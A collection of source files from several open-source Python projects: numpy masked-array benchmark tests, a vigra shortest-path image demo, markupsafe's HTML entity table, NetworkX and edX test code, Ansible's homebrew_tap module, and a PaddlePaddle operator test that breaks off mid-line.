elif np.isnan(y): y = 0 try: cond = (x.shape==() or y.shape==()) or x.shape == y.shape if not cond: msg = build_err_msg([x, y], err_msg + '\n(shapes %s, %s mismatch)' % (x.shape, y.shape), header=header, names=('x', 'y')) assert cond, msg val = comparison(x, y) if m is not self.nomask and fill_value: val = self.masked_array(val, mask=m) if isinstance(val, bool): cond = val reduced = [0] else: reduced = val.ravel() cond = reduced.all() reduced = reduced.tolist() if not cond: match = 100-100.0*reduced.count(1)/len(reduced) msg = build_err_msg([x, y], err_msg + '\n(mismatch %s%%)' % (match,), header=header, names=('x', 'y')) assert cond, msg except ValueError: msg = build_err_msg([x, y], err_msg, header=header, names=('x', 'y')) raise ValueError(msg) def assert_array_equal(self, x, y, err_msg=''): """Checks the elementwise equality of two masked arrays.""" self.assert_array_compare(self.equal, x, y, err_msg=err_msg, header='Arrays are not equal') def test_0(self): "Tests creation" x = np.array([1., 1., 1., -2., pi/2.0, 4., 5., -10., 10., 1., 2., 3.]) m = [1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0] xm = self.masked_array(x, mask=m) xm[0] def test_1(self): "Tests creation" x = np.array([1., 1., 1., -2., pi/2.0, 4., 5., -10., 10., 1., 2., 3.]) y = np.array([5., 0., 3., 2., -1., -4., 0., -10., 10., 1., 0., 3.]) a10 = 10. m1 = [1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0] m2 = [0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1] xm = self.masked_array(x, mask=m1) ym = self.masked_array(y, mask=m2) z = np.array([-.5, 0., .5, .8]) zm = self.masked_array(z, mask=[0, 1, 0, 0]) xf = np.where(m1, 1.e+20, x) xm.set_fill_value(1.e+20) assert((xm-ym).filled(0).any()) #fail_if_equal(xm.mask.astype(int_), ym.mask.astype(int_)) s = x.shape assert(xm.size == reduce(lambda x, y:x*y, s)) assert(self.count(xm) == len(m1) - reduce(lambda x, y:x+y, m1)) for s in [(4, 3), (6, 2)]: x.shape = s y.shape = s xm.shape = s ym.shape = s xf.shape = s assert(self.count(xm) == len(m1) - reduce(lambda x, y:x+y, m1)) def test_2(self): "Tests conversions and indexing" x1 = np.array([1, 2, 4, 3]) x2 = self.array(x1, mask=[1, 0, 0, 0]) x3 = self.array(x1, mask=[0, 1, 0, 1]) x4 = self.array(x1) # test conversion to strings junk, garbage = str(x2), repr(x2) # assert_equal(np.sort(x1), self.sort(x2, fill_value=0)) # tests of indexing assert type(x2[1]) is type(x1[1]) assert x1[1] == x2[1] # assert self.allequal(x1[2],x2[2]) # assert self.allequal(x1[2:5],x2[2:5]) # assert self.allequal(x1[:],x2[:]) # assert self.allequal(x1[1:], x3[1:]) x1[2] = 9 x2[2] = 9 self.assert_array_equal(x1, x2) x1[1:3] = 99 x2[1:3] = 99 # assert self.allequal(x1,x2) x2[1] = self.masked # assert self.allequal(x1,x2) x2[1:3] = self.masked # assert self.allequal(x1,x2) x2[:] = x1 x2[1] = self.masked # assert self.allequal(self.getmask(x2),self.array([0,1,0,0])) x3[:] = self.masked_array([1, 2, 3, 4], [0, 1, 1, 0]) # assert self.allequal(self.getmask(x3), self.array([0,1,1,0])) x4[:] = self.masked_array([1, 2, 3, 4], [0, 1, 1, 0]) # assert self.allequal(self.getmask(x4), self.array([0,1,1,0])) # assert self.allequal(x4, self.array([1,2,3,4])) x1 = np.arange(5)*1.0 x2 = self.masked_values(x1, 3.0) # assert self.allequal(x1,x2) # assert self.allequal(self.array([0,0,0,1,0], self.MaskType), x2.mask) x1 = self.array([1, 'hello', 2, 3], object) x2 = np.array([1, 'hello', 2, 3], object) s1 = x1[1] s2 = x2[1] assert x1[1:1].shape == (0,) # Tests copy-size n = [0, 0, 1, 0, 0] m = self.make_mask(n) m2 = self.make_mask(m) assert(m is m2) m3 = self.make_mask(m, copy=1) assert(m is not m3) def test_3(self): "Tests resize/repeat" x4 = self.arange(4) x4[2] = self.masked y4 = self.resize(x4, (8,)) assert self.allequal(self.concatenate([x4, x4]), y4) assert self.allequal(self.getmask(y4), [0, 0, 1, 0, 0, 0, 1, 0]) y5 = self.repeat(x4, (2, 2, 2, 2), axis=0) self.assert_array_equal(y5, [0, 0, 1, 1, 2, 2, 3, 3]) y6 = self.repeat(x4, 2, axis=0) assert self.allequal(y5, y6) y7 = x4.repeat((2, 2, 2, 2), axis=0) assert self.allequal(y5, y7) y8 = x4.repeat(2, 0) assert self.allequal(y5, y8) #---------------------------------- def test_4(self): "Test of take, transpose, inner, outer products" x = self.arange(24) y = np.arange(24) x[5:6] = self.masked x = x.reshape(2, 3, 4) y = y.reshape(2, 3, 4) assert self.allequal(np.transpose(y, (2, 0, 1)), self.transpose(x, (2, 0, 1))) assert self.allequal(np.take(y, (2, 0, 1), 1), self.take(x, (2, 0, 1), 1)) assert self.allequal(np.inner(self.filled(x, 0), self.filled(y, 0)), self.inner(x, y)) assert self.allequal(np.outer(self.filled(x, 0), self.filled(y, 0)), self.outer(x, y)) y = self.array(['abc', 1, 'def', 2, 3], object) y[2] = self.masked t = self.take(y, [0, 3, 4]) assert t[0] == 'abc' assert t[1] == 2 assert t[2] == 3 #---------------------------------- def test_5(self): "Tests inplace w/ scalar" x = self.arange(10) y = self.arange(10) xm = self.arange(10) xm[2] = self.masked x += 1 assert self.allequal(x, y+1) xm += 1 assert self.allequal(xm, y+1) x = self.arange(10) xm = self.arange(10) xm[2] = self.masked x -= 1 assert self.allequal(x, y-1) xm -= 1 assert self.allequal(xm, y-1) x = self.arange(10)*1.0 xm = self.arange(10)*1.0 xm[2] = self.masked x *= 2.0 assert self.allequal(x, y*2) xm *= 2.0 assert self.allequal(xm, y*2) x = self.arange(10)*2 xm = self.arange(10)*2 xm[2] = self.masked x /= 2 assert self.allequal(x, y) xm /= 2 assert self.allequal(xm, y) x = self.arange(10)*1.0 xm = self.arange(10)*1.0 xm[2] = self.masked x /= 2.0 assert self.allequal(x, y/2.0) xm /= self.arange(10) self.assert_array_equal(xm, self.ones((10,))) x = self.arange(10).astype(float_) xm = self.arange(10) xm[2] = self.masked id1 = self.id(x.raw_data()) x += 1. #assert id1 == self.id(x.raw_data()) assert self.allequal(x, y+1.) def test_6(self): "Tests inplace w/ array" x = self.arange(10, dtype=float_) y = self.arange(10) xm = self.arange(10, dtype=float_) xm[2] = self.masked m = xm.mask a = self.arange(10, dtype=float_) a[-1] = self.masked x += a xm += a assert self.allequal(x, y+a) assert self.allequal(xm, y+a) assert self.allequal(xm.mask, self.mask_or(m, a.mask)) x = self.arange(10, dtype=float_) xm = self.arange(10, dtype=float_) xm[2] = self.masked m = xm.mask a = self.arange(10, dtype=float_) a[-1] = self.masked x -= a xm -= a assert self.allequal(x, y-a) assert self.allequal(xm, y-a) assert self.allequal(xm.mask, self.mask_or(m, a.mask)) x = self.arange(10, dtype=float_) xm = self.arange(10, dtype=float_) xm[2] = self.masked m = xm.mask a = self.arange(10, dtype=float_) a[-1] = self.masked x *= a xm *= a assert self.allequal(x, y*a) assert self.allequal(xm, y*a) assert self.allequal(xm.mask, self.mask_or(m, a.mask)) x = self.arange(10, dtype=float_) xm = self.arange(10, dtype=float_) xm[2] = self.masked m = xm.mask a = self.arange(10, dtype=float_) a[-1] = self.masked x /= a xm /= a #---------------------------------- def test_7(self): "Tests ufunc" d = (self.array([1.0, 0, -1, pi/2]*2, mask=[0, 1]+[0]*6), self.array([1.0, 0, -1, pi/2]*2, mask=[1, 0]+[0]*6),) for f in ['sqrt', 'log', 'log10', 'exp', 'conjugate', # 'sin', 'cos', 'tan', # 'arcsin', 'arccos', 'arctan', # 'sinh', 'cosh', 'tanh', # 'arcsinh', # 'arccosh', # 'arctanh', # 'absolute', 'fabs', 'negative', # # 'nonzero', 'around', # 'floor', 'ceil', # # 'sometrue', 'alltrue', # 'logical_not', # 'add', 'subtract', 'multiply', # 'divide', 'true_divide', 'floor_divide', # 'remainder', 'fmod', 'hypot', 'arctan2', # 'equal', 'not_equal', 'less_equal', 'greater_equal', # 'less', 'greater', # 'logical_and', 'logical_or', 'logical_xor', ]: #print f try: uf = getattr(self.umath, f) except AttributeError: uf = getattr(fromnumeric, f) mf = getattr(self.module, f) args = d[:uf.nin] ur = uf(*args) mr = mf(*args) self.assert_array_equal(ur.filled(0), mr.filled(0), f) self.assert_array_equal(ur._mask, mr._mask) #---------------------------------- def test_99(self): # test average ott = self.array([0., 1., 2., 3.], mask=[1, 0, 0, 0]) self.assert_array_equal(2.0, self.average(ott, axis=0)) self.assert_array_equal(2.0, self.average(ott, weights=[1., 1., 2., 1.])) result, wts = self.average(ott, weights=[1., 1., 2., 1.], returned=1) self.assert_array_equal(2.0, result) assert(wts == 4.0) ott[:] = self.masked assert(self.average(ott, axis=0) is self.masked) ott = self.array([0., 1., 2., 3.], mask=[1, 0, 0, 0]) ott = ott.reshape(2, 2) ott[:, 1] = self.masked self.assert_array_equal(self.average(ott, axis=0), [2.0, 0.0]) assert(self.average(ott, axis=1)[0] is self.masked) self.assert_array_equal([2., 0.], self.average(ott, axis=0)) result, wts = self.average(ott, axis=0, returned=1) self.assert_array_equal(wts, [1., 0.]) w1 = [0, 1, 1, 1, 1, 0] w2 = [[0, 1, 1, 1, 1, 0], [1, 0, 0, 0, 0, 1]] x = self.arange(6) self.assert_array_equal(self.average(x, axis=0), 2.5) self.assert_array_equal(self.average(x, axis=0, weights=w1), 2.5) y = self.array([self.arange(6), 2.0*self.arange(6)]) self.assert_array_equal(self.average(y, None), np.add.reduce(np.arange(6))*3./12.) self.assert_array_equal(self.average(y, axis=0), np.arange(6) * 3./2.) self.assert_array_equal(self.average(y, axis=1), [self.average(x, axis=0), self.average(x, axis=0) * 2.0]) self.assert_array_equal(self.average(y, None, weights=w2), 20./6.) self.assert_array_equal(self.average(y, axis=0, weights=w2), [0., 1., 2., 3., 4., 10.]) self.assert_array_equal(self.average(y, axis=1), [self.average(x, axis=0), self.average(x, axis=0) * 2.0]) m1 = self.zeros(6) m2 = [0, 0, 1, 1, 0, 0] m3 = [[0, 0, 1, 1, 0, 0], [0, 1, 1, 1, 1, 0]] m4 = self.ones(6) m5 = [0, 1, 1, 1, 1, 1] self.assert_array_equal(self.average(self.masked_array(x, m1), axis=0), 2.5) self.assert_array_equal(self.average(self.masked_array(x, m2), axis=0), 2.5) # assert(self.average(masked_array(x, m4),axis=0) is masked) self.assert_array_equal(self.average(self.masked_array(x, m5), axis=0), 0.0) self.assert_array_equal(self.count(self.average(self.masked_array(x, m4), axis=0)), 0) z = self.masked_array(y, m3) self.assert_array_equal(self.average(z, None), 20./6.) self.assert_array_equal(self.average(z, axis=0), [0., 1., 99., 99., 4.0, 7.5]) self.assert_array_equal(self.average(z, axis=1), [2.5, 5.0]) self.assert_array_equal(self.average(z, axis=0, weights=w2), [0., 1., 99., 99., 4.0, 10.0]) #------------------------ def test_A(self): x = self.arange(24) y = np.arange(24) x[5:6] = self.masked x = x.reshape(2, 3, 4) ################################################################################ if __name__ == '__main__': setup_base = "from __main__ import moduletester \n"\ "import numpy\n" \ "tester = moduletester(module)\n" # setup_new = "import np.ma.core_ini as module\n"+setup_base setup_cur = "import np.ma.core as module\n"+setup_base # setup_alt = "import np.ma.core_alt as module\n"+setup_base # setup_tmp = "import np.ma.core_tmp as module\n"+setup_base (nrepeat, nloop) = (10, 10) if 1: for i in range(1, 8): func = 'tester.test_%i()' % i # new = timeit.Timer(func, setup_new).repeat(nrepeat, nloop*10) cur = timeit.Timer(func, setup_cur).repeat(nrepeat, nloop*10) # alt = timeit.Timer(func, setup_alt).repeat(nrepeat, nloop*10) # tmp = timeit.Timer(func, setup_tmp).repeat(nrepeat, nloop*10) # new = np.sort(new) cur = np.sort(cur) # alt = np.sort(alt) # tmp = np.sort(tmp) print("#%i" % i +50*'.') print(eval("moduletester.test_%i.__doc__" % i)) # print "core_ini : %.3f - %.3f" % (new[0], new[1]) print("core_current : %.3f - %.3f" % (cur[0], cur[1])) # print "core_alt : %.3f - %.3f" % (alt[0], alt[1]) # print "core_tmp : %.3f - %.3f" % (tmp[0], tmp[1])
bsd-3-clause
capturePointer/vigra
vigranumpy/examples/grid_graph_shortestpath.py
8
3978
import vigra import vigra.graphs as vigraph import pylab import numpy np=numpy import sys import matplotlib import pylab as plt import math from matplotlib.widgets import Slider, Button, RadioButtons def makeWeights(gamma): global hessian,gradmag,gridGraph print "hessian",hessian.min(),hessian.max() print "raw ",raw.min(),raw.max() wImg= numpy.exp((gradmag**0.5)*gamma*-1.0)#**0.5 wImg = numpy.array(wImg).astype(numpy.float32) w=vigra.graphs.implicitMeanEdgeMap(gridGraph,wImg) return w def makeVisuImage(path,img): coords = (path[:,0],path[:,1]) visuimg =img.copy() iR=visuimg[:,:,0] iG=visuimg[:,:,1] iB=visuimg[:,:,2] iR[coords]=255 iG[coords]=0 iB[coords]=0 visuimg-=visuimg.min() visuimg/=visuimg.max() return visuimg f = '100075.jpg' f = '69015.jpg' #f = "/media/tbeier/GSP1RMCPRFR/iso.03530.png" img = vigra.impex.readImage(f) print img.shape if(img.shape[2]==1): img = numpy.concatenate([img]*3,axis=2) imgLab = img imgLab = vigra.taggedView(imgLab,'xyc') else: imgLab = vigra.colors.transform_RGB2Lab(img) sigma = 1.0 imgLab-=imgLab.min() imgLab/=imgLab.max() imgLab*=255 img-=img.min() img/=img.max() img*=255 print imgLab.shape print "interpolate image" imgLabSmall = imgLab # make a few edge weights gradmag = numpy.squeeze(vigra.filters.gaussianGradientMagnitude(imgLabSmall,sigma)) hessian = numpy.squeeze(vigra.filters.hessianOfGaussianEigenvalues(imgLabSmall[:,:,0],sigma))[:,:,0] hessian-=hessian.min() raw = 256-imgLabSmall[:,:,0].copy() gridGraph = vigraph.gridGraph(imgLab.shape[:2],False) weights = makeWeights(3.0) pathFinder = vigraph.ShortestPathPathDijkstra(gridGraph) visuimg =img.copy() ax = plt.gca() fig = plt.gcf() visuimg-=visuimg.min() visuimg/=visuimg.max() implot = ax.imshow(numpy.swapaxes(visuimg,0,1),cmap='gray') clickList=[] frozen = False axslider = plt.axes([0.0, 0.00, 0.4, 0.075]) axfreeze = plt.axes([0.6, 0.00, 0.1, 0.075]) axunfreeze = plt.axes([0.8, 0.00, 0.1, 0.075]) bfreeze = Button(axfreeze, 'freeze') bunfreeze = Button(axunfreeze, 'unfrease and clear') sgamma = Slider(axslider, 'gamma', 0.01, 5.0, valinit=1.0) def onclick(event): global clickList global weights global img if event.xdata != None and event.ydata != None: xRaw,yRaw = event.xdata,event.ydata if not frozen and xRaw >=0.0 and yRaw>=0.0 and xRaw<img.shape[0] and yRaw<img.shape[1]: x,y = long(math.floor(event.xdata)),long(math.floor(event.ydata)) clickList.append((x,y)) if len(clickList)==2: source = gridGraph.coordinateToNode(clickList[0]) target = gridGraph.coordinateToNode(clickList[1]) weights = makeWeights(sgamma.val) #path = pathFinder.run(weights, source,target).path(pathType='coordinates') path = pathFinder.run(weights, source).path(pathType='coordinates',target=target) visuimg = makeVisuImage(path,img) implot.set_data(numpy.swapaxes(visuimg,0,1)) plt.draw() def freeze(event): global frozen frozen=True def unfreeze(event): global frozen,clickList frozen=False clickList = [] def onslide(event): global img,gradmag,weights,clickList,sgamma weights = makeWeights(sgamma.val) print "onslide",clickList if len(clickList)>=2: print "we have path" source = gridGraph.coordinateToNode(clickList[0]) target = gridGraph.coordinateToNode(clickList[1]) path = pathFinder.run(weights, source,target).path(pathType='coordinates') visuimg = makeVisuImage(path,img) implot.set_data(numpy.swapaxes(visuimg,0,1)) plt.draw() bfreeze.on_clicked(freeze) bunfreeze.on_clicked(unfreeze) sgamma.on_changed(onslide) cid = fig.canvas.mpl_connect('button_press_event', onclick) plt.show()
mit
chiefspace/udemy-rest-api
udemy_rest_flask1/env/lib/python3.4/site-packages/markupsafe/_constants.py
1535
4795
# -*- coding: utf-8 -*- """ markupsafe._constants ~~~~~~~~~~~~~~~~~~~~~ Highlevel implementation of the Markup string. :copyright: (c) 2010 by Armin Ronacher. :license: BSD, see LICENSE for more details. """ HTML_ENTITIES = { 'AElig': 198, 'Aacute': 193, 'Acirc': 194, 'Agrave': 192, 'Alpha': 913, 'Aring': 197, 'Atilde': 195, 'Auml': 196, 'Beta': 914, 'Ccedil': 199, 'Chi': 935, 'Dagger': 8225, 'Delta': 916, 'ETH': 208, 'Eacute': 201, 'Ecirc': 202, 'Egrave': 200, 'Epsilon': 917, 'Eta': 919, 'Euml': 203, 'Gamma': 915, 'Iacute': 205, 'Icirc': 206, 'Igrave': 204, 'Iota': 921, 'Iuml': 207, 'Kappa': 922, 'Lambda': 923, 'Mu': 924, 'Ntilde': 209, 'Nu': 925, 'OElig': 338, 'Oacute': 211, 'Ocirc': 212, 'Ograve': 210, 'Omega': 937, 'Omicron': 927, 'Oslash': 216, 'Otilde': 213, 'Ouml': 214, 'Phi': 934, 'Pi': 928, 'Prime': 8243, 'Psi': 936, 'Rho': 929, 'Scaron': 352, 'Sigma': 931, 'THORN': 222, 'Tau': 932, 'Theta': 920, 'Uacute': 218, 'Ucirc': 219, 'Ugrave': 217, 'Upsilon': 933, 'Uuml': 220, 'Xi': 926, 'Yacute': 221, 'Yuml': 376, 'Zeta': 918, 'aacute': 225, 'acirc': 226, 'acute': 180, 'aelig': 230, 'agrave': 224, 'alefsym': 8501, 'alpha': 945, 'amp': 38, 'and': 8743, 'ang': 8736, 'apos': 39, 'aring': 229, 'asymp': 8776, 'atilde': 227, 'auml': 228, 'bdquo': 8222, 'beta': 946, 'brvbar': 166, 'bull': 8226, 'cap': 8745, 'ccedil': 231, 'cedil': 184, 'cent': 162, 'chi': 967, 'circ': 710, 'clubs': 9827, 'cong': 8773, 'copy': 169, 'crarr': 8629, 'cup': 8746, 'curren': 164, 'dArr': 8659, 'dagger': 8224, 'darr': 8595, 'deg': 176, 'delta': 948, 'diams': 9830, 'divide': 247, 'eacute': 233, 'ecirc': 234, 'egrave': 232, 'empty': 8709, 'emsp': 8195, 'ensp': 8194, 'epsilon': 949, 'equiv': 8801, 'eta': 951, 'eth': 240, 'euml': 235, 'euro': 8364, 'exist': 8707, 'fnof': 402, 'forall': 8704, 'frac12': 189, 'frac14': 188, 'frac34': 190, 'frasl': 8260, 'gamma': 947, 'ge': 8805, 'gt': 62, 'hArr': 8660, 'harr': 8596, 'hearts': 9829, 'hellip': 8230, 'iacute': 237, 'icirc': 238, 'iexcl': 161, 'igrave': 236, 'image': 8465, 'infin': 8734, 'int': 8747, 'iota': 953, 'iquest': 191, 'isin': 8712, 'iuml': 239, 'kappa': 954, 'lArr': 8656, 'lambda': 955, 'lang': 9001, 'laquo': 171, 'larr': 8592, 'lceil': 8968, 'ldquo': 8220, 'le': 8804, 'lfloor': 8970, 'lowast': 8727, 'loz': 9674, 'lrm': 8206, 'lsaquo': 8249, 'lsquo': 8216, 'lt': 60, 'macr': 175, 'mdash': 8212, 'micro': 181, 'middot': 183, 'minus': 8722, 'mu': 956, 'nabla': 8711, 'nbsp': 160, 'ndash': 8211, 'ne': 8800, 'ni': 8715, 'not': 172, 'notin': 8713, 'nsub': 8836, 'ntilde': 241, 'nu': 957, 'oacute': 243, 'ocirc': 244, 'oelig': 339, 'ograve': 242, 'oline': 8254, 'omega': 969, 'omicron': 959, 'oplus': 8853, 'or': 8744, 'ordf': 170, 'ordm': 186, 'oslash': 248, 'otilde': 245, 'otimes': 8855, 'ouml': 246, 'para': 182, 'part': 8706, 'permil': 8240, 'perp': 8869, 'phi': 966, 'pi': 960, 'piv': 982, 'plusmn': 177, 'pound': 163, 'prime': 8242, 'prod': 8719, 'prop': 8733, 'psi': 968, 'quot': 34, 'rArr': 8658, 'radic': 8730, 'rang': 9002, 'raquo': 187, 'rarr': 8594, 'rceil': 8969, 'rdquo': 8221, 'real': 8476, 'reg': 174, 'rfloor': 8971, 'rho': 961, 'rlm': 8207, 'rsaquo': 8250, 'rsquo': 8217, 'sbquo': 8218, 'scaron': 353, 'sdot': 8901, 'sect': 167, 'shy': 173, 'sigma': 963, 'sigmaf': 962, 'sim': 8764, 'spades': 9824, 'sub': 8834, 'sube': 8838, 'sum': 8721, 'sup': 8835, 'sup1': 185, 'sup2': 178, 'sup3': 179, 'supe': 8839, 'szlig': 223, 'tau': 964, 'there4': 8756, 'theta': 952, 'thetasym': 977, 'thinsp': 8201, 'thorn': 254, 'tilde': 732, 'times': 215, 'trade': 8482, 'uArr': 8657, 'uacute': 250, 'uarr': 8593, 'ucirc': 251, 'ugrave': 249, 'uml': 168, 'upsih': 978, 'upsilon': 965, 'uuml': 252, 'weierp': 8472, 'xi': 958, 'yacute': 253, 'yen': 165, 'yuml': 255, 'zeta': 950, 'zwj': 8205, 'zwnj': 8204 }
gpl-2.0
azlanismail/prismgames
examples/games/car/networkx/tests/test.py
1
1289
#!/usr/bin/env python import sys from os import path,getcwd def run(verbosity=1,doctest=False,numpy=True): """Run NetworkX tests. Parameters ---------- verbosity: integer, optional Level of detail in test reports. Higher numbers provide more detail. doctest: bool, optional True to run doctests in code modules numpy: bool, optional True to test modules dependent on numpy """ try: import nose except ImportError: raise ImportError(\ "The nose package is needed to run the NetworkX tests.") sys.stderr.write("Running NetworkX tests:") nx_install_dir=path.join(path.dirname(__file__), path.pardir) # stop if running from source directory if getcwd() == path.abspath(path.join(nx_install_dir,path.pardir)): raise RuntimeError("Can't run tests from source directory.\n" "Run 'nosetests' from the command line.") argv=[' ','--verbosity=%d'%verbosity, '-w',nx_install_dir, '-exe'] if doctest: argv.extend(['--with-doctest','--doctest-extension=txt']) if not numpy: argv.extend(['-A not numpy']) nose.run(argv=argv) if __name__=="__main__": run()
gpl-2.0
xiandiancloud/ji
common/lib/xmodule/xmodule/tests/xml/test_policy.py
248
1262
""" Tests that policy json files import correctly when loading XML """ from nose.tools import assert_equals, assert_raises # pylint: disable=no-name-in-module from xmodule.tests.xml.factories import CourseFactory from xmodule.tests.xml import XModuleXmlImportTest class TestPolicy(XModuleXmlImportTest): """ Tests that policy json files import correctly when loading xml """ def test_no_attribute_mapping(self): # Policy files are json, and thus the values aren't passed through 'deserialize_field' # Therefor, the string 'null' is passed unchanged to the Float field, which will trigger # a ValueError with assert_raises(ValueError): course = self.process_xml(CourseFactory.build(policy={'days_early_for_beta': 'null'})) # Trigger the exception by looking at the imported data course.days_early_for_beta # pylint: disable=pointless-statement def test_course_policy(self): course = self.process_xml(CourseFactory.build(policy={'days_early_for_beta': None})) assert_equals(None, course.days_early_for_beta) course = self.process_xml(CourseFactory.build(policy={'days_early_for_beta': 9})) assert_equals(9, course.days_early_for_beta)
agpl-3.0
tersmitten/ansible
lib/ansible/modules/packaging/os/homebrew_tap.py
87
6806
#!/usr/bin/python # -*- coding: utf-8 -*- # (c) 2013, Daniel Jaouen <[email protected]> # (c) 2016, Indrajit Raychaudhuri <[email protected]> # # Based on homebrew (Andrew Dunham <[email protected]>) # # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = ''' --- module: homebrew_tap author: - "Indrajit Raychaudhuri (@indrajitr)" - "Daniel Jaouen (@danieljaouen)" short_description: Tap a Homebrew repository. description: - Tap external Homebrew repositories. version_added: "1.6" options: name: description: - The GitHub user/organization repository to tap. required: true aliases: ['tap'] url: description: - The optional git URL of the repository to tap. The URL is not assumed to be on GitHub, and the protocol doesn't have to be HTTP. Any location and protocol that git can handle is fine. - I(name) option may not be a list of multiple taps (but a single tap instead) when this option is provided. required: false version_added: "2.2" state: description: - state of the repository. choices: [ 'present', 'absent' ] required: false default: 'present' requirements: [ homebrew ] ''' EXAMPLES = ''' - homebrew_tap: name: homebrew/dupes - homebrew_tap: name: homebrew/dupes state: absent - homebrew_tap: name: homebrew/dupes,homebrew/science state: present - homebrew_tap: name: telemachus/brew url: 'https://bitbucket.org/telemachus/brew' ''' import re from ansible.module_utils.basic import AnsibleModule def a_valid_tap(tap): '''Returns True if the tap is valid.''' regex = re.compile(r'^([\w-]+)/(homebrew-)?([\w-]+)$') return regex.match(tap) def already_tapped(module, brew_path, tap): '''Returns True if already tapped.''' rc, out, err = module.run_command([ brew_path, 'tap', ]) taps = [tap_.strip().lower() for tap_ in out.split('\n') if tap_] tap_name = re.sub('homebrew-', '', tap.lower()) return tap_name in taps def add_tap(module, brew_path, tap, url=None): '''Adds a single tap.''' failed, changed, msg = False, False, '' if not a_valid_tap(tap): failed = True msg = 'not a valid tap: %s' % tap elif not already_tapped(module, brew_path, tap): if module.check_mode: module.exit_json(changed=True) rc, out, err = module.run_command([ brew_path, 'tap', tap, url, ]) if rc == 0: changed = True msg = 'successfully tapped: %s' % tap else: failed = True msg = 'failed to tap: %s' % tap else: msg = 'already tapped: %s' % tap return (failed, changed, msg) def add_taps(module, brew_path, taps): '''Adds one or more taps.''' failed, unchanged, added, msg = False, 0, 0, '' for tap in taps: (failed, changed, msg) = add_tap(module, brew_path, tap) if failed: break if changed: added += 1 else: unchanged += 1 if failed: msg = 'added: %d, unchanged: %d, error: ' + msg msg = msg % (added, unchanged) elif added: changed = True msg = 'added: %d, unchanged: %d' % (added, unchanged) else: msg = 'added: %d, unchanged: %d' % (added, unchanged) return (failed, changed, msg) def remove_tap(module, brew_path, tap): '''Removes a single tap.''' failed, changed, msg = False, False, '' if not a_valid_tap(tap): failed = True msg = 'not a valid tap: %s' % tap elif already_tapped(module, brew_path, tap): if module.check_mode: module.exit_json(changed=True) rc, out, err = module.run_command([ brew_path, 'untap', tap, ]) if not already_tapped(module, brew_path, tap): changed = True msg = 'successfully untapped: %s' % tap else: failed = True msg = 'failed to untap: %s' % tap else: msg = 'already untapped: %s' % tap return (failed, changed, msg) def remove_taps(module, brew_path, taps): '''Removes one or more taps.''' failed, unchanged, removed, msg = False, 0, 0, '' for tap in taps: (failed, changed, msg) = remove_tap(module, brew_path, tap) if failed: break if changed: removed += 1 else: unchanged += 1 if failed: msg = 'removed: %d, unchanged: %d, error: ' + msg msg = msg % (removed, unchanged) elif removed: changed = True msg = 'removed: %d, unchanged: %d' % (removed, unchanged) else: msg = 'removed: %d, unchanged: %d' % (removed, unchanged) return (failed, changed, msg) def main(): module = AnsibleModule( argument_spec=dict( name=dict(aliases=['tap'], type='list', required=True), url=dict(default=None, required=False), state=dict(default='present', choices=['present', 'absent']), ), supports_check_mode=True, ) brew_path = module.get_bin_path( 'brew', required=True, opt_dirs=['/usr/local/bin'] ) taps = module.params['name'] url = module.params['url'] if module.params['state'] == 'present': if url is None: # No tap URL provided explicitly, continue with bulk addition # of all the taps. failed, changed, msg = add_taps(module, brew_path, taps) else: # When an tap URL is provided explicitly, we allow adding # *single* tap only. Validate and proceed to add single tap. if len(taps) > 1: msg = "List of multiple taps may not be provided with 'url' option." module.fail_json(msg=msg) else: failed, changed, msg = add_tap(module, brew_path, taps[0], url) if failed: module.fail_json(msg=msg) else: module.exit_json(changed=changed, msg=msg) elif module.params['state'] == 'absent': failed, changed, msg = remove_taps(module, brew_path, taps) if failed: module.fail_json(msg=msg) else: module.exit_json(changed=changed, msg=msg) if __name__ == '__main__': main()
gpl-3.0
baidu/Paddle
python/paddle/fluid/tests/unittests/test_sequence_expand.py
1
4061
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import print_function import unittest import numpy as np from op_test import OpTest class TestSequenceExpand(OpTest): def set_data(self): x_data = np.random.uniform(0.1, 1, [3, 1]).astype('float32') y_data = np.random.uniform(0.1, 1, [8, 1]).astype('float32') y_lod = [[1, 3, 4]] self.inputs = {'X': x_data, 'Y': (y_data, y_lod)} def compute(self): x = self.inputs['X'] x_data, x_lod = x if type(x) == tuple else (x, None) y_data, y_lod = self.inputs['Y'] if hasattr(self, 'attrs'): ref_level = self.attrs['ref_level'] else: ref_level = len(y_lod) - 1 out = np.zeros(shape=((0, ) + x_data.shape[1:]), dtype=x_data.dtype) if x_lod is None: # x_idx = [i for i in xrange(x_data.shape[0] + 1)] x_idx = [1] * x_data.shape[0] else: x_idx = x_lod[0] out_lod = [[]] offset = 0 for i in range(len(y_lod[ref_level])): repeat_num = y_lod[ref_level][i] x_len = x_idx[i] if repeat_num > 0: x_sub = x_data[offset:(offset + x_len), :] stacked_x_sub = x_sub for r in range(repeat_num - 1): stacked_x_sub = np.vstack((stacked_x_sub, x_sub)) out = np.vstack((out, stacked_x_sub)) if x_lod is not None: for j in range(repeat_num): out_lod[0].append(x_len) offset += x_len if x_lod is None: self.outputs = {'Out': out} else: self.outputs = {'Out': (out, out_lod)} def setUp(self): self.op_type = 'sequence_expand' self.set_data() self.compute() def test_check_output(self): self.check_output() def test_check_grad(self): self.check_grad(["X"], "Out") class TestSequenceExpandCase1(TestSequenceExpand): def set_data(self): x_data = np.random.uniform(0.1, 1, [5, 1]).astype('float32') y_data = np.random.uniform(0.1, 1, [13, 1]).astype('float32') y_lod = [[2, 3], [2, 2, 3, 3, 3]] self.inputs = {'X': x_data, 'Y': (y_data, y_lod)} self.attrs = {'ref_level': 1} class TestSequenceExpandCase2(TestSequenceExpand): def set_data(self): x_data = np.random.uniform(0.1, 1, [1, 2, 2]).astype('float32') x_lod = [[1]] y_data = np.random.uniform(0.1, 1, [2, 2, 2]).astype('float32') y_lod = [[2], [1, 1]] self.inputs = {'X': 